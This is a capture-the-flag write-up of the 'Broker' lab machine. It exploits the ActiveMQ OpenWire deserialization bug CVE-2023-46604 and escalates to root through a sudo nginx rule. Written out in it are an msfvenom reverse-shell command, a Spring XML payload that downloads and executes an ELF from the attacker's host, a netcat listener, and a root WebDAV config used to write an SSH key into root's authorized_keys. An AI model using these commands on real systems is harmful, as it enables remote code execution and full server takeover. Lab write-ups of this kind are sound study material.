Broker

Jun 04, 2026 Easy

Introduction

Broker is an easy Linux box built around a single, very topical vulnerability: CVE-2023-46604, the Apache ActiveMQ OpenWire remote code execution bug that made a lot of noise in late 2023. It is a clean, two-step machine: get RCE on the message broker, then abuse one over-permissive sudo rule to become root.

The foothold is almost handed to us. The ActiveMQ web console uses default admin:admin credentials, which is enough to read the exact version (5.15.15) and confirm it is vulnerable. From there, the OpenWire protocol on 61616 lets us trigger a deserialization gadget that makes the broker fetch and execute a remote Spring XML, which runs our payload and returns a shell as the activemq user. Privesc is a textbook GTFOBins move: activemq can run nginx under sudo, so we start a root-owned nginx with WebDAV PUT enabled and simply write our SSH key into /root/.ssh/authorized_keys.

Enumeration

Service Discovery

BASH
sudo nmap <target_ip> -T4 --min-rate 3500 -p 22,80,1883,5672,8161,61613,61614,61616 -sC -sV -oN scans/service-scan.nmap
BASH
PORT      STATE SERVICE   VERSION
22/tcp    open  ssh       OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp    open  http      nginx 1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
|_  basic realm=ActiveMQRealm
1883/tcp  open  mqtt      Apache ActiveMQ
5672/tcp  open  amqp?     Apache ActiveMQ
8161/tcp  open  http      Jetty 9.4.39.v20210325
|_  basic realm=ActiveMQRealm
61613/tcp open  stomp     Apache ActiveMQ
61614/tcp open  http      Jetty 9.4.39.v20210325
61616/tcp open  apachemq  ActiveMQ OpenWire transport 5.15.15

Almost every port belongs to Apache ActiveMQ: MQTT (1883), AMQP (5672), STOMP (61613), the Jetty web console (8161), and the OpenWire transport on 61616. The nginx on port 80 is just a reverse proxy in front of the console (same ActiveMQRealm auth prompt).

The single most useful line is the version banner on 61616: OpenWire transport 5.15.15. ActiveMQ versions before 5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 are vulnerable to CVE-2023-46604, so this build is in scope.

ActiveMQ web console

Message brokers are notorious for default credentials, so I tried the classic admin:admin against the console on 8161.

TEXT
http://<target_ip>:8161/admin  ->  admin:admin  ->  logged in

It worked, and the console footer confirms Apache ActiveMQ 5.15.15. We do not actually need the console to exploit the box, but it removes all doubt about the version before firing an exploit at the broker.

Foothold

CVE-2023-46604 (OpenWire deserialization RCE)

The bug lives in ActiveMQ’s OpenWire marshaller: it will unmarshal an exception class named by the client and call its constructor with a string argument. The well-known gadget is Spring’s org.springframework.context.support.ClassPathXmlApplicationContext, whose constructor takes a URL to an XML bean definition. So we can make the broker fetch an XML file we host, and that XML tells Spring to run any command we like.

The plan is three files on our side:

  1. A payload to execute (a msfvenom reverse shell ELF).
  2. A Spring XML (poc-linux.xml) that downloads and runs that ELF.
  3. An HTTP server to serve both.
BASH
# 1) reverse-shell ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=<listener_port> -f elf -o test.elf

The poc-linux.xml is a Spring bean that shells out to fetch and execute the ELF:

XML
<beans xmlns="http://www.springframework.org/schema/beans" ...>
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value>curl http://<attacker_ip>:8001/test.elf -o /tmp/test.elf; chmod +x /tmp/test.elf; /tmp/test.elf</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

Serve the directory containing both files, start a listener, and fire the exploit at the OpenWire port with the URL of our XML:

BASH
# serve the XML + ELF
python3 -m http.server 8001

# listener for the reverse shell
nc -lvnp <listener_port>

# trigger: point the broker at our XML on port 61616
./ActiveMQ-RCE -i <target_ip> -u http://<attacker_ip>:8001/poc-linux.xml

The broker requests poc-linux.xml, then test.elf, runs it, and the listener catches a shell.

BASH
connect to [<attacker_ip>] from (UNKNOWN) [<target_ip>]
whoami
activemq

That is the user flag.

Gotcha worth noting: the PoC I used ships as a Windows .exe, so on Kali it has to be run through wine (wine ActiveMQ-RCE.exe ...). It is a small annoyance, not a blocker; several Python reimplementations of the same CVE exist if you would rather avoid wine.

Privilege Escalation — sudo nginx

First move on the shell:

BASH
activemq@broker:~$ sudo -l
User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

Being able to run nginx as root is enough to own the box, via the GTFOBins nginx technique. The idea: start a second nginx instance, running as root, configured to serve the whole filesystem with WebDAV PUT enabled. That gives us an authenticated-as-root file write anywhere we want.

I dropped this minimal config in /tmp:

NGINX
user root;
events {}
http {
  server {
    listen 443;
    root /;
    autoindex on;
    dav_methods PUT;
  }
}

Start it under sudo:

BASH
sudo nginx -c /tmp/temp-file

Now there is a root-owned web server that will happily write files anywhere. The cleanest way to turn that into access is to plant our own SSH key in root’s authorized_keys:

BASH
# generate a keypair
ssh-keygen -f pwn

# PUT our public key into root's authorized_keys through the root nginx
curl -X PUT localhost:443/root/.ssh/authorized_keys -d "$(cat pwn.pub)"

Then just SSH in as root with the private key:

BASH
chmod 600 pwn
ssh -i pwn root@<target_ip>

root@broker:~# whoami
root

Machine rooted.

Attack Chain Recap

TEXT
nmap                                 ->  Apache ActiveMQ everywhere; OpenWire 5.15.15 on 61616
admin:admin on console :8161         ->  confirm version 5.15.15
CVE-2023-46604 (OpenWire)            ->  broker loads our Spring XML -> runs msfvenom ELF
reverse shell                         ->  user activemq
sudo -l                              ->  NOPASSWD /usr/sbin/nginx
GTFOBins nginx: root WebDAV config   ->  sudo nginx -c /tmp/temp-file (listen 443, root /, PUT)
curl -X PUT authorized_keys          ->  our SSH key written into /root/.ssh
ssh -i pwn root@target               ->  root

Key takeaways

  • Version banners are the exploit. OpenWire prints 5.15.15 in the clear on 61616. Matching that to CVE-2023-46604 was the entire foothold; admin:admin was just confirmation.
  • CVE-2023-46604 is a “load my remote class” bug. The broker deserialises a class name you supply and instantiates it with a string, and Spring’s ClassPathXmlApplicationContext turns that into “fetch and run my XML”. Understanding the gadget beats blindly running a PoC.
  • sudo nginx is sudo write-anywhere. Running a webserver as root with dav_methods PUT and root / is a full arbitrary file write. Writing an SSH key is cleaner and more reliable than editing /etc/passwd or a cron.
  • Always check GTFOBins for the exact sudo binary. nginx is not an obvious privesc until you see it listed there.

References